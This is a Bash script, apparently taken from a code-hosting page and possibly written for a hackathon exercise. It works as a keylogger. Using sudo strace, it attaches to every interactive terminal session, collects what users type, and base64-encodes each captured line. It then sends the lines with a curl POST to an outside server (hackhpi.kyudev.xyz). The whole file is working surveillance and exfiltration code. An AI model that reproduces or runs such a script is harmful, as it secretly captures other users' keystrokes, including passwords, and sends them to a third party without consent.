65 lines
1.4 KiB
Bash
Executable File
65 lines
1.4 KiB
Bash
Executable File
#!/usr/bin/env bash
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BUFFER=buf.txt
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STDOUT=0
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# Requires sudo, strace and GNU grep
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get-char () {
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cat /dev/stdin |
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grep \
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--line-buffered \
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-o '".*[^"]"' |
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grep \
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--line-buffered \
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-o '[^"]*[^"]' |
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while IFS="" read -r char; do
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printf '%b' "$char"
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done
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}
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write-buffer () {
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buffer="${1}"
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cat /dev/stdin >> "${buffer}"
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}
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clear-buffer () {
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buffer="${1}"
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: > "${buffer}"
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}
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send-buffer () {
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buffer="${1}"
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content="$(cat "${BUFFER}" | xxd -ps -c0 | sed -e 's/\(0d\)\?1b5b3f323030346\(8\|c\)//g' -e 's/0d$//g' -e 's/^24//g' | xxd -ps -c0 -r | base64 -w0)"
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curl -sL https://hackhpi.kyudev.xyz/api/blue -X POST -H "Content-Type: application/json" -d "{\"data\": \"${content}\", \"timestamp\": \"$(date +%s)\"}" 1>/dev/null
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clear-buffer "${BUFFER}"
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}
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delete-buffer () {
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buffer="${1}"
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rm -f "${buffer}"
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}
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clear-buffer "${BUFFER}"
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sudo strace \
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-e trace=write \
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-s 1000 \
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$(ps u |
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grep pts |
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grep Ss |
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grep -v grep |
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awk '{print "-p " $2 " "}' |
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xargs) \
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2>&1 |
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while IFS="" read -r line; do
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fd="$(printf '%s' "${line}" | grep -o 'write(.' | tail -c 2 | head -c 1)"
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if [ "${fd}" = "1" ] || [ ! "${line}" = "${line//SIGCHLD/}" ]; then
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send-buffer "${BUFFER}"
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else
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printf '%s\n' "${line}" | get-char | write-buffer "${BUFFER}"
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fi
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done
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delete-buffer "${BUFFER}"
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